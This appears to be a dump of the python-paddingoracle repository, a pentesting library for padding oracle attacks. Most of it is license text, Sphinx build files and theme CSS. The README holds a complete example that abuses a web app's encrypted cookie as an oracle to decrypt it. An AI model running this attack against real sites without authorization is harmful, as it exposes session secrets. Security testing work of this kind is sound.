├── .gitignore ├── LICENSE ├── README.rst ├── docs ├── Makefile ├── _themes │ ├── LICENSE │ ├── flask_theme_support.py │ ├── kr │ │ ├── layout.html │ │ ├── relations.html │ │ ├── static │ │ │ ├── flasky.css_t │ │ │ └── small_flask.css │ │ └── theme.conf │ └── kr_small │ │ ├── layout.html │ │ ├── static │ │ └── flasky.css_t │ │ └── theme.conf ├── api.rst ├── conf.py ├── index.rst └── make.bat ├── example.py ├── paddingoracle.py ├── setup.py └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | *.pyc 3 | *.pyo 4 | env 5 | dist 6 | docs/_build 7 | *.egg-info 8 | .buildinfo 9 | objects.inv 10 | build 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Marcin Wielgoszewski 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | python-paddingoracle: A portable, padding oracle exploit API 2 | ============================================================ 3 | 4 | UPDATED FOR PYTHON 3 5 | 6 | python-paddingoracle is an API that provides pentesters a customizable 7 | alternative to `PadBuster`_ and other padding oracle exploit tools that can't 8 | easily (without a heavy rewrite) be used in unique, per-app scenarios. Think 9 | non-HTTP applications, raw sockets, client applications, unique encodings, etc. 10 | 11 | Usage: 12 | ------ 13 | 14 | To use the paddingoracle API, simply implement the **oracle()** method from the 15 | PaddingOracle API and raise a **BadPaddingException** when the decrypter 16 | reveals a padding oracle. To decrypt data, pass raw encrypted bytes to 17 | **decrypt()** with a block size (typically 8 or 16) and optional iv parameter. 18 | 19 | See below for an example (from `the example`_): :: 20 | 21 | from paddingoracle import BadPaddingException, PaddingOracle 22 | from base64 import b64encode, b64decode 23 | from urllib.parse import quote, unquote 24 | import requests 25 | import socket 26 | import time 27 | 28 | class PadBuster(PaddingOracle): 29 | def __init__(self, **kwargs): 30 | super(PadBuster, self).__init__(**kwargs) 31 | self.session = requests.Session() 32 | self.wait = kwargs.get('wait', 2.0) 33 | 34 | def oracle(self, data, **kwargs): 35 | somecookie = quote(b64encode(data)) 36 | self.session.cookies['somecookie'] = somecookie 37 | 38 | while 1: 39 | try: 40 | response = self.session.get('http://www.example.com/', 41 | stream=False, timeout=5, verify=False) 42 | break 43 | except (socket.error, requests.exceptions.RequestException): 44 | logging.exception('Retrying request in %.2f seconds...', 45 | self.wait) 46 | time.sleep(self.wait) 47 | continue 48 | 49 | self.history.append(response) 50 | 51 | if response.ok: 52 | logging.debug('No padding exception raised on %r', somecookie) 53 | return 54 | 55 | # An HTTP 500 error was returned, likely due to incorrect padding 56 | raise BadPaddingException 57 | 58 | if __name__ == '__main__': 59 | import logging 60 | import sys 61 | 62 | if not sys.argv[1:]: 63 | print('Usage: %s ' % (sys.argv[0], )) 64 | sys.exit(1) 65 | 66 | logging.basicConfig(level=logging.DEBUG) 67 | 68 | encrypted_cookie = b64decode(unquote(sys.argv[1])) 69 | 70 | padbuster = PadBuster() 71 | 72 | cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8)) 73 | 74 | print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie)) 75 | 76 | 77 | Credits 78 | ------- 79 | python-paddingoracle is a Python implementation heavily based on `PadBuster`_, 80 | an automated script for performing Padding Oracle attacks, developed by 81 | Brian Holyfield of Gotham Digital Science. 82 | 83 | .. _`the example`: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py 84 | .. _`PadBuster`: https://github.com/GDSSecurity/PadBuster 85 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS = 6 | SPHINXBUILD = sphinx-build 7 | PAPER = 8 | BUILDDIR = _build 9 | 10 | # Internal variables. 11 | PAPEROPT_a4 = -D latex_paper_size=a4 12 | PAPEROPT_letter = -D latex_paper_size=letter 13 | ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . 14 | # the i18n builder cannot share the environment and doctrees with the others 15 | I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . 16 | 17 | .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext 18 | 19 | help: 20 | @echo "Please use \`make ' where is one of" 21 | @echo " html to make standalone HTML files" 22 | @echo " dirhtml to make HTML files named index.html in directories" 23 | @echo " singlehtml to make a single large HTML file" 24 | @echo " pickle to make pickle files" 25 | @echo " json to make JSON files" 26 | @echo " htmlhelp to make HTML files and a HTML help project" 27 | @echo " qthelp to make HTML files and a qthelp project" 28 | @echo " devhelp to make HTML files and a Devhelp project" 29 | @echo " epub to make an epub" 30 | @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" 31 | @echo " latexpdf to make LaTeX files and run them through pdflatex" 32 | @echo " text to make text files" 33 | @echo " man to make manual pages" 34 | @echo " texinfo to make Texinfo files" 35 | @echo " info to make Texinfo files and run them through makeinfo" 36 | @echo " gettext to make PO message catalogs" 37 | @echo " changes to make an overview of all changed/added/deprecated items" 38 | @echo " linkcheck to check all external links for integrity" 39 | @echo " doctest to run all doctests embedded in the documentation (if enabled)" 40 | 41 | clean: 42 | -rm -rf $(BUILDDIR)/* 43 | 44 | html: 45 | $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html 46 | @echo 47 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." 48 | 49 | dirhtml: 50 | $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml 51 | @echo 52 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." 53 | 54 | singlehtml: 55 | $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml 56 | @echo 57 | @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." 58 | 59 | pickle: 60 | $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle 61 | @echo 62 | @echo "Build finished; now you can process the pickle files." 63 | 64 | json: 65 | $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json 66 | @echo 67 | @echo "Build finished; now you can process the JSON files." 68 | 69 | htmlhelp: 70 | $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp 71 | @echo 72 | @echo "Build finished; now you can run HTML Help Workshop with the" \ 73 | ".hhp project file in $(BUILDDIR)/htmlhelp." 74 | 75 | qthelp: 76 | $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp 77 | @echo 78 | @echo "Build finished; now you can run "qcollectiongenerator" with the" \ 79 | ".qhcp project file in $(BUILDDIR)/qthelp, like this:" 80 | @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/PaddingOracleExploitAPI.qhcp" 81 | @echo "To view the help file:" 82 | @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/PaddingOracleExploitAPI.qhc" 83 | 84 | devhelp: 85 | $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp 86 | @echo 87 | @echo "Build finished." 88 | @echo "To view the help file:" 89 | @echo "# mkdir -p $$HOME/.local/share/devhelp/PaddingOracleExploitAPI" 90 | @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/PaddingOracleExploitAPI" 91 | @echo "# devhelp" 92 | 93 | epub: 94 | $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub 95 | @echo 96 | @echo "Build finished. The epub file is in $(BUILDDIR)/epub." 97 | 98 | latex: 99 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 100 | @echo 101 | @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." 102 | @echo "Run \`make' in that directory to run these through (pdf)latex" \ 103 | "(use \`make latexpdf' here to do that automatically)." 104 | 105 | latexpdf: 106 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 107 | @echo "Running LaTeX files through pdflatex..." 108 | $(MAKE) -C $(BUILDDIR)/latex all-pdf 109 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 110 | 111 | text: 112 | $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text 113 | @echo 114 | @echo "Build finished. The text files are in $(BUILDDIR)/text." 115 | 116 | man: 117 | $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man 118 | @echo 119 | @echo "Build finished. The manual pages are in $(BUILDDIR)/man." 120 | 121 | texinfo: 122 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 123 | @echo 124 | @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." 125 | @echo "Run \`make' in that directory to run these through makeinfo" \ 126 | "(use \`make info' here to do that automatically)." 127 | 128 | info: 129 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 130 | @echo "Running Texinfo files through makeinfo..." 131 | make -C $(BUILDDIR)/texinfo info 132 | @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." 133 | 134 | gettext: 135 | $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale 136 | @echo 137 | @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." 138 | 139 | changes: 140 | $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes 141 | @echo 142 | @echo "The overview file is in $(BUILDDIR)/changes." 143 | 144 | linkcheck: 145 | $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck 146 | @echo 147 | @echo "Link check complete; look for any errors in the above output " \ 148 | "or in $(BUILDDIR)/linkcheck/output.txt." 149 | 150 | doctest: 151 | $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest 152 | @echo "Testing of doctests in the sources finished, look at the " \ 153 | "results in $(BUILDDIR)/doctest/output.txt." 154 | -------------------------------------------------------------------------------- /docs/_themes/LICENSE: -------------------------------------------------------------------------------- 1 | Modifications: 2 | 3 | Copyright (c) 2010 Kenneth Reitz. 4 | 5 | 6 | Original Project: 7 | 8 | Copyright (c) 2010 by Armin Ronacher. 9 | 10 | 11 | Some rights reserved. 12 | 13 | Redistribution and use in source and binary forms of the theme, with or 14 | without modification, are permitted provided that the following conditions 15 | are met: 16 | 17 | * Redistributions of source code must retain the above copyright 18 | notice, this list of conditions and the following disclaimer. 19 | 20 | * Redistributions in binary form must reproduce the above 21 | copyright notice, this list of conditions and the following 22 | disclaimer in the documentation and/or other materials provided 23 | with the distribution. 24 | 25 | * The names of the contributors may not be used to endorse or 26 | promote products derived from this software without specific 27 | prior written permission. 28 | 29 | We kindly ask you to only use these themes in an unmodified manner just 30 | for Flask and Flask-related products, not for unrelated projects. If you 31 | like the visual style and want to use it for your own projects, please 32 | consider making some larger changes to the themes (such as changing 33 | font faces, sizes, colors or margins). 34 | 35 | THIS THEME IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 36 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 37 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 38 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 39 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 40 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 41 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 42 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 43 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 44 | ARISING IN ANY WAY OUT OF THE USE OF THIS THEME, EVEN IF ADVISED OF THE 45 | POSSIBILITY OF SUCH DAMAGE. 46 | -------------------------------------------------------------------------------- /docs/_themes/flask_theme_support.py: -------------------------------------------------------------------------------- 1 | # flasky extensions. flasky pygments style based on tango style 2 | from pygments.style import Style 3 | from pygments.token import Keyword, Name, Comment, String, Error, \ 4 | Number, Operator, Generic, Whitespace, Punctuation, Other, Literal 5 | 6 | 7 | class FlaskyStyle(Style): 8 | background_color = "#f8f8f8" 9 | default_style = "" 10 | 11 | styles = { 12 | # No corresponding class for the following: 13 | #Text: "", # class: '' 14 | Whitespace: "underline #f8f8f8", # class: 'w' 15 | Error: "#a40000 border:#ef2929", # class: 'err' 16 | Other: "#000000", # class 'x' 17 | 18 | Comment: "italic #8f5902", # class: 'c' 19 | Comment.Preproc: "noitalic", # class: 'cp' 20 | 21 | Keyword: "bold #004461", # class: 'k' 22 | Keyword.Constant: "bold #004461", # class: 'kc' 23 | Keyword.Declaration: "bold #004461", # class: 'kd' 24 | Keyword.Namespace: "bold #004461", # class: 'kn' 25 | Keyword.Pseudo: "bold #004461", # class: 'kp' 26 | Keyword.Reserved: "bold #004461", # class: 'kr' 27 | Keyword.Type: "bold #004461", # class: 'kt' 28 | 29 | Operator: "#582800", # class: 'o' 30 | Operator.Word: "bold #004461", # class: 'ow' - like keywords 31 | 32 | Punctuation: "bold #000000", # class: 'p' 33 | 34 | # because special names such as Name.Class, Name.Function, etc. 35 | # are not recognized as such later in the parsing, we choose them 36 | # to look the same as ordinary variables. 37 | Name: "#000000", # class: 'n' 38 | Name.Attribute: "#c4a000", # class: 'na' - to be revised 39 | Name.Builtin: "#004461", # class: 'nb' 40 | Name.Builtin.Pseudo: "#3465a4", # class: 'bp' 41 | Name.Class: "#000000", # class: 'nc' - to be revised 42 | Name.Constant: "#000000", # class: 'no' - to be revised 43 | Name.Decorator: "#888", # class: 'nd' - to be revised 44 | Name.Entity: "#ce5c00", # class: 'ni' 45 | Name.Exception: "bold #cc0000", # class: 'ne' 46 | Name.Function: "#000000", # class: 'nf' 47 | Name.Property: "#000000", # class: 'py' 48 | Name.Label: "#f57900", # class: 'nl' 49 | Name.Namespace: "#000000", # class: 'nn' - to be revised 50 | Name.Other: "#000000", # class: 'nx' 51 | Name.Tag: "bold #004461", # class: 'nt' - like a keyword 52 | Name.Variable: "#000000", # class: 'nv' - to be revised 53 | Name.Variable.Class: "#000000", # class: 'vc' - to be revised 54 | Name.Variable.Global: "#000000", # class: 'vg' - to be revised 55 | Name.Variable.Instance: "#000000", # class: 'vi' - to be revised 56 | 57 | Number: "#990000", # class: 'm' 58 | 59 | Literal: "#000000", # class: 'l' 60 | Literal.Date: "#000000", # class: 'ld' 61 | 62 | String: "#4e9a06", # class: 's' 63 | String.Backtick: "#4e9a06", # class: 'sb' 64 | String.Char: "#4e9a06", # class: 'sc' 65 | String.Doc: "italic #8f5902", # class: 'sd' - like a comment 66 | String.Double: "#4e9a06", # class: 's2' 67 | String.Escape: "#4e9a06", # class: 'se' 68 | String.Heredoc: "#4e9a06", # class: 'sh' 69 | String.Interpol: "#4e9a06", # class: 'si' 70 | String.Other: "#4e9a06", # class: 'sx' 71 | String.Regex: "#4e9a06", # class: 'sr' 72 | String.Single: "#4e9a06", # class: 's1' 73 | String.Symbol: "#4e9a06", # class: 'ss' 74 | 75 | Generic: "#000000", # class: 'g' 76 | Generic.Deleted: "#a40000", # class: 'gd' 77 | Generic.Emph: "italic #000000", # class: 'ge' 78 | Generic.Error: "#ef2929", # class: 'gr' 79 | Generic.Heading: "bold #000080", # class: 'gh' 80 | Generic.Inserted: "#00A000", # class: 'gi' 81 | Generic.Output: "#888", # class: 'go' 82 | Generic.Prompt: "#745334", # class: 'gp' 83 | Generic.Strong: "bold #000000", # class: 'gs' 84 | Generic.Subheading: "bold #800080", # class: 'gu' 85 | Generic.Traceback: "bold #a40000", # class: 'gt' 86 | } 87 | -------------------------------------------------------------------------------- /docs/_themes/kr/layout.html: -------------------------------------------------------------------------------- 1 | {%- extends "basic/layout.html" %} 2 | {%- block extrahead %} 3 | {{ super() }} 4 | {% if theme_touch_icon %} 5 | 6 | {% endif %} 7 | 9 | 10 | {% endblock %} 11 | {%- block relbar2 %}{% endblock %} 12 | {%- block footer %} 13 | 16 | {% if theme_github_fork %} 17 | Fork me on GitHub 19 | {% endif %} 20 | {%- endblock %} 21 | -------------------------------------------------------------------------------- /docs/_themes/kr/relations.html: -------------------------------------------------------------------------------- 1 |

Related Topics

2 | 20 | -------------------------------------------------------------------------------- /docs/_themes/kr/static/flasky.css_t: -------------------------------------------------------------------------------- 1 | /* 2 | * flasky.css_t 3 | * ~~~~~~~~~~~~ 4 | * 5 | * :copyright: Copyright 2010 by Armin Ronacher. Modifications by Kenneth Reitz. 6 | * :license: Flask Design License, see LICENSE for details. 7 | */ 8 | 9 | {% set page_width = '940px' %} 10 | {% set sidebar_width = '220px' %} 11 | 12 | @import url("basic.css"); 13 | 14 | /* -- page layout ----------------------------------------------------------- */ 15 | 16 | body { 17 | font-family: 'goudy old style', 'minion pro', 'bell mt', Georgia, 'Hiragino Mincho Pro'; 18 | font-size: 17px; 19 | background-color: white; 20 | color: #000; 21 | margin: 0; 22 | padding: 0; 23 | } 24 | 25 | div.document { 26 | width: {{ page_width }}; 27 | margin: 30px auto 0 auto; 28 | } 29 | 30 | div.documentwrapper { 31 | float: left; 32 | width: 100%; 33 | } 34 | 35 | div.bodywrapper { 36 | margin: 0 0 0 {{ sidebar_width }}; 37 | } 38 | 39 | div.sphinxsidebar { 40 | width: {{ sidebar_width }}; 41 | } 42 | 43 | hr { 44 | border: 1px solid #B1B4B6; 45 | } 46 | 47 | div.body { 48 | background-color: #ffffff; 49 | color: #3E4349; 50 | padding: 0 30px 0 30px; 51 | } 52 | 53 | img.floatingflask { 54 | padding: 0 0 10px 10px; 55 | float: right; 56 | } 57 | 58 | div.footer { 59 | width: {{ page_width }}; 60 | margin: 20px auto 30px auto; 61 | font-size: 14px; 62 | color: #888; 63 | text-align: right; 64 | } 65 | 66 | div.footer a { 67 | color: #888; 68 | } 69 | 70 | div.related { 71 | display: none; 72 | } 73 | 74 | div.sphinxsidebar a { 75 | color: #444; 76 | text-decoration: none; 77 | border-bottom: 1px dotted #999; 78 | } 79 | 80 | div.sphinxsidebar a:hover { 81 | border-bottom: 1px solid #999; 82 | } 83 | 84 | div.sphinxsidebar { 85 | font-size: 14px; 86 | line-height: 1.5; 87 | } 88 | 89 | div.sphinxsidebarwrapper { 90 | padding: 18px 10px; 91 | } 92 | 93 | div.sphinxsidebarwrapper p.logo { 94 | padding: 0; 95 | margin: -10px 0 0 -20px; 96 | text-align: center; 97 | } 98 | 99 | div.sphinxsidebar h3, 100 | div.sphinxsidebar h4 { 101 | font-family: 'Garamond', 'Georgia', serif; 102 | color: #444; 103 | font-size: 24px; 104 | font-weight: normal; 105 | margin: 0 0 5px 0; 106 | padding: 0; 107 | } 108 | 109 | div.sphinxsidebar h4 { 110 | font-size: 20px; 111 | } 112 | 113 | div.sphinxsidebar h3 a { 114 | color: #444; 115 | } 116 | 117 | div.sphinxsidebar p.logo a, 118 | div.sphinxsidebar h3 a, 119 | div.sphinxsidebar p.logo a:hover, 120 | div.sphinxsidebar h3 a:hover { 121 | border: none; 122 | } 123 | 124 | div.sphinxsidebar p { 125 | color: #555; 126 | margin: 10px 0; 127 | } 128 | 129 | div.sphinxsidebar ul { 130 | margin: 10px 0; 131 | padding: 0; 132 | color: #000; 133 | } 134 | 135 | div.sphinxsidebar input { 136 | border: 1px solid #ccc; 137 | font-family: 'Georgia', serif; 138 | font-size: 1em; 139 | } 140 | 141 | /* -- body styles ----------------------------------------------------------- */ 142 | 143 | a { 144 | color: #004B6B; 145 | text-decoration: underline; 146 | } 147 | 148 | a:hover { 149 | color: #6D4100; 150 | text-decoration: underline; 151 | } 152 | 153 | div.body h1, 154 | div.body h2, 155 | div.body h3, 156 | div.body h4, 157 | div.body h5, 158 | div.body h6 { 159 | font-family: 'Garamond', 'Georgia', serif; 160 | font-weight: normal; 161 | margin: 30px 0px 10px 0px; 162 | padding: 0; 163 | } 164 | 165 | div.body h1 { margin-top: 0; padding-top: 0; font-size: 240%; } 166 | div.body h2 { font-size: 180%; } 167 | div.body h3 { font-size: 150%; } 168 | div.body h4 { font-size: 130%; } 169 | div.body h5 { font-size: 100%; } 170 | div.body h6 { font-size: 100%; } 171 | 172 | a.headerlink { 173 | color: #ddd; 174 | padding: 0 4px; 175 | text-decoration: none; 176 | } 177 | 178 | a.headerlink:hover { 179 | color: #444; 180 | background: #eaeaea; 181 | } 182 | 183 | div.body p, div.body dd, div.body li { 184 | line-height: 1.4em; 185 | } 186 | 187 | div.admonition { 188 | background: #fafafa; 189 | margin: 20px -30px; 190 | padding: 10px 30px; 191 | border-top: 1px solid #ccc; 192 | border-bottom: 1px solid #ccc; 193 | } 194 | 195 | div.admonition tt.xref, div.admonition a tt { 196 | border-bottom: 1px solid #fafafa; 197 | } 198 | 199 | dd div.admonition { 200 | margin-left: -60px; 201 | padding-left: 60px; 202 | } 203 | 204 | div.admonition p.admonition-title { 205 | font-family: 'Garamond', 'Georgia', serif; 206 | font-weight: normal; 207 | font-size: 24px; 208 | margin: 0 0 10px 0; 209 | padding: 0; 210 | line-height: 1; 211 | } 212 | 213 | div.admonition p.last { 214 | margin-bottom: 0; 215 | } 216 | 217 | div.highlight { 218 | background-color: white; 219 | } 220 | 221 | dt:target, .highlight { 222 | background: #FAF3E8; 223 | } 224 | 225 | div.note { 226 | background-color: #eee; 227 | border: 1px solid #ccc; 228 | } 229 | 230 | div.seealso { 231 | background-color: #ffc; 232 | border: 1px solid #ff6; 233 | } 234 | 235 | div.topic { 236 | background-color: #eee; 237 | } 238 | 239 | p.admonition-title { 240 | display: inline; 241 | } 242 | 243 | p.admonition-title:after { 244 | content: ":"; 245 | } 246 | 247 | pre, tt { 248 | font-family: 'Consolas', 'Menlo', 'Deja Vu Sans Mono', 'Bitstream Vera Sans Mono', monospace; 249 | font-size: 0.9em; 250 | } 251 | 252 | img.screenshot { 253 | } 254 | 255 | tt.descname, tt.descclassname { 256 | font-size: 0.95em; 257 | } 258 | 259 | tt.descname { 260 | padding-right: 0.08em; 261 | } 262 | 263 | img.screenshot { 264 | -moz-box-shadow: 2px 2px 4px #eee; 265 | -webkit-box-shadow: 2px 2px 4px #eee; 266 | box-shadow: 2px 2px 4px #eee; 267 | } 268 | 269 | table.docutils { 270 | border: 1px solid #888; 271 | -moz-box-shadow: 2px 2px 4px #eee; 272 | -webkit-box-shadow: 2px 2px 4px #eee; 273 | box-shadow: 2px 2px 4px #eee; 274 | } 275 | 276 | table.docutils td, table.docutils th { 277 | border: 1px solid #888; 278 | padding: 0.25em 0.7em; 279 | } 280 | 281 | table.field-list, table.footnote { 282 | border: none; 283 | -moz-box-shadow: none; 284 | -webkit-box-shadow: none; 285 | box-shadow: none; 286 | } 287 | 288 | table.footnote { 289 | margin: 15px 0; 290 | width: 100%; 291 | border: 1px solid #eee; 292 | background: #fdfdfd; 293 | font-size: 0.9em; 294 | } 295 | 296 | table.footnote + table.footnote { 297 | margin-top: -15px; 298 | border-top: none; 299 | } 300 | 301 | table.field-list th { 302 | padding: 0 0.8em 0 0; 303 | } 304 | 305 | table.field-list td { 306 | padding: 0; 307 | } 308 | 309 | table.footnote td.label { 310 | width: 0px; 311 | padding: 0.3em 0 0.3em 0.5em; 312 | } 313 | 314 | table.footnote td { 315 | padding: 0.3em 0.5em; 316 | } 317 | 318 | dl { 319 | margin: 0; 320 | padding: 0; 321 | } 322 | 323 | dl dd { 324 | margin-left: 30px; 325 | } 326 | 327 | blockquote { 328 | margin: 0 0 0 30px; 329 | padding: 0; 330 | } 331 | 332 | ul, ol { 333 | margin: 10px 0 10px 30px; 334 | padding: 0; 335 | } 336 | 337 | pre { 338 | background: #eee; 339 | padding: 7px 30px; 340 | margin: 15px -30px; 341 | line-height: 1.3em; 342 | } 343 | 344 | dl pre, blockquote pre, li pre { 345 | margin-left: -60px; 346 | padding-left: 60px; 347 | } 348 | 349 | dl dl pre { 350 | margin-left: -90px; 351 | padding-left: 90px; 352 | } 353 | 354 | tt { 355 | background-color: #ecf0f3; 356 | color: #222; 357 | /* padding: 1px 2px; */ 358 | } 359 | 360 | tt.xref, a tt { 361 | background-color: #FBFBFB; 362 | border-bottom: 1px solid white; 363 | } 364 | 365 | a.reference { 366 | text-decoration: none; 367 | border-bottom: 1px dotted #004B6B; 368 | } 369 | 370 | a.reference:hover { 371 | border-bottom: 1px solid #6D4100; 372 | } 373 | 374 | a.footnote-reference { 375 | text-decoration: none; 376 | font-size: 0.7em; 377 | vertical-align: top; 378 | border-bottom: 1px dotted #004B6B; 379 | } 380 | 381 | a.footnote-reference:hover { 382 | border-bottom: 1px solid #6D4100; 383 | } 384 | 385 | a:hover tt { 386 | background: #EEE; 387 | } 388 | 389 | 390 | @media screen and (max-width: 600px) { 391 | 392 | div.sphinxsidebar { 393 | display: none; 394 | } 395 | 396 | div.document { 397 | width: 100%; 398 | 399 | } 400 | 401 | div.documentwrapper { 402 | margin-left: 0; 403 | margin-top: 0; 404 | margin-right: 0; 405 | margin-bottom: 0; 406 | } 407 | 408 | div.bodywrapper { 409 | margin-top: 0; 410 | margin-right: 0; 411 | margin-bottom: 0; 412 | margin-left: 0; 413 | } 414 | 415 | ul { 416 | margin-left: 0; 417 | } 418 | 419 | .document { 420 | width: auto; 421 | } 422 | 423 | .footer { 424 | width: auto; 425 | } 426 | 427 | .bodywrapper { 428 | margin: 0; 429 | } 430 | 431 | .footer { 432 | width: auto; 433 | } 434 | 435 | .github { 436 | display: none; 437 | } 438 | 439 | } 440 | 441 | /* misc. */ 442 | 443 | .revsys-inline { 444 | display: none!important; 445 | } -------------------------------------------------------------------------------- /docs/_themes/kr/static/small_flask.css: -------------------------------------------------------------------------------- 1 | /* 2 | * small_flask.css_t 3 | * ~~~~~~~~~~~~~~~~~ 4 | * 5 | * :copyright: Copyright 2010 by Armin Ronacher. 6 | * :license: Flask Design License, see LICENSE for details. 7 | */ 8 | 9 | body { 10 | margin: 0; 11 | padding: 20px 30px; 12 | } 13 | 14 | div.documentwrapper { 15 | float: none; 16 | background: white; 17 | } 18 | 19 | div.sphinxsidebar { 20 | display: block; 21 | float: none; 22 | width: 102.5%; 23 | margin: 50px -30px -20px -30px; 24 | padding: 10px 20px; 25 | background: #333; 26 | color: white; 27 | } 28 | 29 | div.sphinxsidebar h3, div.sphinxsidebar h4, div.sphinxsidebar p, 30 | div.sphinxsidebar h3 a { 31 | color: white; 32 | } 33 | 34 | div.sphinxsidebar a { 35 | color: #aaa; 36 | } 37 | 38 | div.sphinxsidebar p.logo { 39 | display: none; 40 | } 41 | 42 | div.document { 43 | width: 100%; 44 | margin: 0; 45 | } 46 | 47 | div.related { 48 | display: block; 49 | margin: 0; 50 | padding: 10px 0 20px 0; 51 | } 52 | 53 | div.related ul, 54 | div.related ul li { 55 | margin: 0; 56 | padding: 0; 57 | } 58 | 59 | div.footer { 60 | display: none; 61 | } 62 | 63 | div.bodywrapper { 64 | margin: 0; 65 | } 66 | 67 | div.body { 68 | min-height: 0; 69 | padding: 0; 70 | } 71 | 72 | .rtd_doc_footer { 73 | display: none; 74 | } 75 | 76 | .document { 77 | width: auto; 78 | } 79 | 80 | .footer { 81 | width: auto; 82 | } 83 | 84 | .footer { 85 | width: auto; 86 | } 87 | 88 | .github { 89 | display: none; 90 | } -------------------------------------------------------------------------------- /docs/_themes/kr/theme.conf: -------------------------------------------------------------------------------- 1 | [theme] 2 | inherit = basic 3 | stylesheet = flasky.css 4 | pygments_style = flask_theme_support.FlaskyStyle 5 | 6 | [options] 7 | touch_icon = 8 | github_fork = mwielgoszewski/python-paddingoracle 9 | -------------------------------------------------------------------------------- /docs/_themes/kr_small/layout.html: -------------------------------------------------------------------------------- 1 | {% extends "basic/layout.html" %} 2 | {% block header %} 3 